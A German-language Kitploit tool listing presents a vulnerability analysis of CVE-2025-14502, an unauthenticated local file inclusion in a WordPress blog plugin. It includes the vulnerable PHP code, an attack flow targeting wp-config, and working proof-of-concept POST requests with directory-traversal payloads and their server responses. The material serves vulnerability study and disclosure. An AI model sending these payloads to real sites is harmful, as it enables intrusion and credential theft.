Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502 — Das News and Blog Designer Bundle-Plugin für WordPress weist in Version 1.1 und allen früheren Versionen eine Schwachstelle auf, die durch den template-Parameter zu einer lokalen Dateieinbindung (Local File Inclusion) führt. Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, beliebige .php-Dateien auf dem Server einzubinden und auszuführen, wodurch jeder darin enthaltene PHP-Code ausgeführt werden kann. In Szenarien, in denen das Hochladen und Einbinden von .php-Dateien erlaubt ist, können Angreifer diese Schwachstelle ausnutzen, um Zugriffskontrollen zu umgehen, sensible Daten zu erlangen oder Codeausführung zu erreichen. | Kitploit
Tools/GitHubGitHub/kai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubkai-one001/wordpress-news-and-blog-designer-bundle-cve-2025-14502

WordPress-News-and-Blog-Designer-Bundle-CVE-2025-14502

Repository anzeigen
2vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

Über

Das News and Blog Designer Bundle-Plugin für WordPress weist in Version 1.1 und allen früheren Versionen eine Schwachstelle auf, die durch den template-Parameter zu einer lokalen Dateieinbindung (Local File Inclusion) führt. Diese Schwachstelle ermöglicht es nicht authentifizierten Angreifern, beliebige .php-Dateien auf dem Server einzubinden und auszuführen, wodurch jeder darin enthaltene PHP-Code ausgeführt werden kann. In Szenarien, in denen das Hochladen und Einbinden von .php-Dateien erlaubt ist, können Angreifer diese Schwachstelle ausnutzen, um Zugriffskontrollen zu umgehen, sensible Daten zu erlangen oder Codeausführung zu erreichen.

Teilen

CVE-2025-14502 Schwachstellenanalysebericht

Überblick über die Schwachstelle

Schwachstellentyp: Local File Inclusion (LFI)
Betroffene Versionen: News and Blog Designer Bundle 1.1 und alle früheren Versionen
Schweregrad: Hoch
Angriffskomplexität: Niedrig (keine Authentifizierung erforderlich)

Prinzip der Schwachstelle

1. Ort der Schwachstelle

Die Hauptschwachstelle befindet sich in der Methode nbdb_fetch_more_post() in der Datei includes/class-nbdb-ajax.php.

2. Details der Code-Überprüfung

2.1 Ort des Schwachstellencodes

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));

$template_file_path 	= NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
$template_file 		= (file_exists($template_file_path)) 	? $template_file_path 	: '';

2.2 Ursachenanalyse der Schwachstelle

Problem 1: Unsachgemäße Verwendung der extract()-Funktion

Zeile 31 hat ein schwerwiegendes Problem:

root@kitploit:~
sanitize_text_field(extract( $_POST['shrt_param'] ));
  • Die Funktion extract() nimmt die Schlüssel des Arrays als Variablennamen und die Werte als Variablenwerte und extrahiert sie direkt in den aktuellen Gültigkeitsbereich.
  • Der Rückgabewert von extract() ist die Anzahl der erfolgreich extrahierten Variablen (eine Ganzzahl), nicht das Array selbst.
  • Die Funktion sanitize_text_field() erwartet einen String-Parameter, aber hier wird eine Ganzzahl übergeben.
  • Daher hat diese Codezeile tatsächlich keine Sicherheitsfunktion.

Problem 2: Fehlende Parameterüberprüfung

Zeile 33 verwendet direkt die Variable $template, um den Dateipfad zu erstellen:

root@kitploit:~
$template_file_path = NBDB_DIR . '/view/nbdb-masonry/' . $template . '.php';
  • Die Variable $template stammt von extract($_POST['shrt_param']) und wird vollständig durch Benutzereingaben gesteuert.
  • Es gibt keine Whitelist-Überprüfung.
  • Es gibt keine Pfadnormalisierung.
  • Ermöglicht Directory-Traversal-Angriffe.

Problem 3: Nur Überprüfung der Dateiexistenz

Zeile 34 prüft nur, ob die Datei existiert:

root@kitploit:~
$template_file = (file_exists($template_file_path)) ? $template_file_path : '';
  • file_exists() überprüft nur, ob die Datei existiert, nicht die Gültigkeit des Pfades.
  • Wenn ein Angreifer den Parameter $template kontrollieren kann, kann er durch ../ einen Directory-Traversal durchführen.
  • Schließlich wird in Zeile 93 include($template_file) ausgeführt, was zu einer beliebigen Dateieinbindung führt.

2.3 Vergleich: Sichere Implementierung der Shortcode-Handling-Funktionen

In shortcodes/class-nbdb-shortcode.php verwenden alle Shortcode-Handling-Funktionen eine Whitelist-Überprüfung:

root@kitploit:~
$template = ($template && (array_key_exists(trim($template), $shortcode_templates))) ? trim($template) : 'template-1';
  • Verwendet die Funktion nbdb_post_template(), um die Liste der erlaubten Vorlagen zu erhalten (nur template-1 und template-2).
  • Verwendet array_key_exists() für die Whitelist-Überprüfung.
  • Wenn nicht in der Whitelist, wird der Standardwert template-1 verwendet.

Dies zeigt, dass der Entwickler weiß, wie Parameter korrekt überprüft werden, aber in der AJAX-Handling-Funktion wurde die Überprüfung ausgelassen.

3. Angriffsvektor

3.1 Nicht authentifizierter Zugriff

root@kitploit:~
add_action( 'wp_ajax_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
add_action( 'wp_ajax_nopriv_nbdb_fetch_more_post', array($this, 'nbdb_fetch_more_post') );
  • Registriert sowohl den wp_ajax_- als auch den wp_ajax_nopriv_-Hook.
  • wp_ajax_nopriv_ ermöglicht den Zugriff für nicht eingeloggte Benutzer.
  • Ein Angreifer kann diese Schwachstelle ohne jegliche Authentifizierung ausnutzen.

3.2 Angriffsablauf

  1. Der Angreifer erstellt eine bösartige POST-Anfrage an /wp-admin/admin-ajax.php
  2. Setzt action=nbdb_fetch_more_post
  3. Injiziert eine Directory-Traversal-Last in shrt_param[template] (z. B. ../../../../wp-config)
  4. Der Server führt extract($_POST['shrt_param']) aus und extrahiert template als Variable.
  5. Erstellt den Pfad: NBDB_DIR . '/view/nbdb-masonry/' . '../../../../wp-config' . '.php'
  6. Wenn die Zieldatei existiert, gibt file_exists() true zurück.
  7. Führt include($template_file) aus, was die PHP-Zieldatei einbindet und ausführt.

4. Auswirkungen der Schwachstelle

4.1 Direkte Gefahren

  • Codeausführung: Wenn eine ausführbare PHP-Datei eingebunden werden kann, kann dies zu Remote Code Execution (RCE) führen.
  • Offenlegung sensibler Informationen: Kann den Inhalt von PHP-Dateien auf dem Server lesen (z. B. wp-config.php).
  • Rechteerweiterung: Unter bestimmten Konfigurationen könnte die Zugriffskontrolle umgangen werden.

4.2 Ausnutzungsbedingungen

  • Die Zieldatei muss vorhanden und lesbar sein.
  • Die Zieldatei muss die Erweiterung .php haben (der Code hat die Endung .php fest codiert).
  • Der Server muss erlauben, dass include() die eingebundene Datei ausführt. Die Voraussetzung für „lesen können" ist, dass das eingebundene PHP selbst sichtbare Ausgabe erzeugt (echo/print/Fehler/Protokollantwort), sonst sieht man den Inhalt nicht.

Schritte zur Überprüfung der Schwachstelle

1. Testanfrage erstellen

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 214

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../xmlrpc&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

1.1 Antwort analysieren

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:12:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Connection: close
Vary: Accept-Encoding
Content-Length: 403
Content-Type: text/xml; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>-32700</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string>parse error. not well formed</string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

2. Testanfrage erstellen

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.119.131:8088
Content-Type: application/x-www-form-urlencoded
Content-Length: 270

action=nbdb_fetch_more_post&count=0&paged=1&shrt_param[template]=../../../../../wp-content/themes/twentytwentyfour/patterns/page-home-blogging&shrt_param[gridcol]=2&shrt_param[posts_per_page]=1&shrt_param[orderby]=date&shrt_param[order]=DESC&shrt_param[media_size]=large

2.1 Antwort analysieren

root@kitploit:~
HTTP/1.1 200 OK
Date: Thu, 15 Jan 2026 08:51:33 GMT
Server: Apache/2.4.59 (Debian)
X-Powered-By: PHP/8.2.21
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self';
Vary: Accept-Encoding
Content-Length: 3185
Content-Type: text/html; charset=UTF-8

{"success":1,"data":"\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/text-centered-statement-small\"}\t\/-->\n\n<!-- wp:group {\"align\":\"wide\",\"style\":{\"spacing\":{\"margin\":{\"top\":\"0\",\"bottom\":\"0\"},\"padding\":{\"top\":\"var:preset|spacing|40\",\"bottom\":\"var:preset|spacing|40\"}}},\"layout\":{\"type\":\"constrained\"}} -->\n<div class=\"wp-block-group alignwide\" style=\"margin-top:0;margin-bottom:0;padding-top:var(--wp--preset--spacing--40);padding-bottom:var(--wp--preset--spacing--40)\">\n\t<!-- wp:columns {\"align\":\"wide\",\"style\":{\"spacing\":{\"blockGap\":{\"top\":\"1rem\",\"left\":\"1rem\"}}}} -->\n\t<div class=\"wp-block-columns alignwide\">\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"60%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:60%\">\n\t\t\t<!-- wp:query {\"query\":{\"perPage\":3,\"pages\":0,\"offset\":0,\"postType\":\"post\",\"order\":\"desc\",\"orderBy\":\"date\",\"author\":\"\",\"search\":\"\",\"exclude\":[],\"sticky\":\"\",\"inherit\":true}} -->\n\t\t\t<div class=\"wp-block-query\">\n\t\t\t\t<!-- wp:post-template -->\n\t\t\t\t<!-- wp:group {\"tagName\":\"article\",\"layout\":{\"type\":\"flex\",\"orientation\":\"vertical\",\"justifyContent\":\"stretch\"}} -->\n\t\t\t\t<article class=\"wp-block-group\">\n\t\t\t\t\t<!-- wp:post-featured-image \/-->\n\n\t\t\t\t\t<!-- wp:post-title {\"isLink\":true,\"fontSize\":\"large\"} \/-->\n\n\t\t\t\t\t<!-- wp:template-part {\"slug\":\"post-meta\"} \/-->\n\n\t\t\t\t<\/article>\n\t\t\t\t<!-- \/wp:group -->\n\n\t\t\t\t<!-- wp:post-excerpt {\"moreText\":\"\",\"excerptLength\":40} \/-->\n\n\t\t\t\t<!-- wp:spacer -->\n\t\t\t\t<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\">\n\t\t\t\t<\/div>\n\t\t\t\t<!-- \/wp:spacer -->\n\t\t\t\t<!-- \/wp:post-template -->\n\n\t\t\t\t<!-- wp:query-pagination {\"paginationArrow\":\"arrow\",\"layout\":{\"type\":\"flex\",\"justifyContent\":\"space-between\"}} -->\n\t\t\t\t<!-- wp:query-pagination-previous \/-->\n\n\t\t\t\t<!-- wp:query-pagination-numbers \/-->\n\n\t\t\t\t<!-- wp:query-pagination-next \/-->\n\t\t\t\t<!-- \/wp:query-pagination -->\n\n\t\t\t\t<!-- wp:query-no-results -->\n\t\t\t\t<!-- wp:pattern {\"slug\":\"twentytwentyfour\/hidden-no-results\"} \/-->\n\t\t\t\t<!-- \/wp:query-no-results -->\n\t\t\t<\/div>\n\t\t\t<!-- \/wp:query -->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"30%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:30%\">\n\t\t\t<!-- wp:template-part {\"slug\":\"sidebar\",\"tagName\":\"aside\"} \/-->\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\n\t\t<!-- wp:column {\"width\":\"10%\"} -->\n\t\t<div class=\"wp-block-column\" style=\"flex-basis:10%\">\n\t\t<\/div>\n\t\t<!-- \/wp:column -->\n\t<\/div>\n\t<!-- \/wp:columns -->\n<\/div>\n<!-- \/wp:group -->\n\n<!-- wp:pattern {\"slug\":\"twentytwentyfour\/cta-subscribe-centered\"}\t\/-->\n","count":1}
Tool herunterladen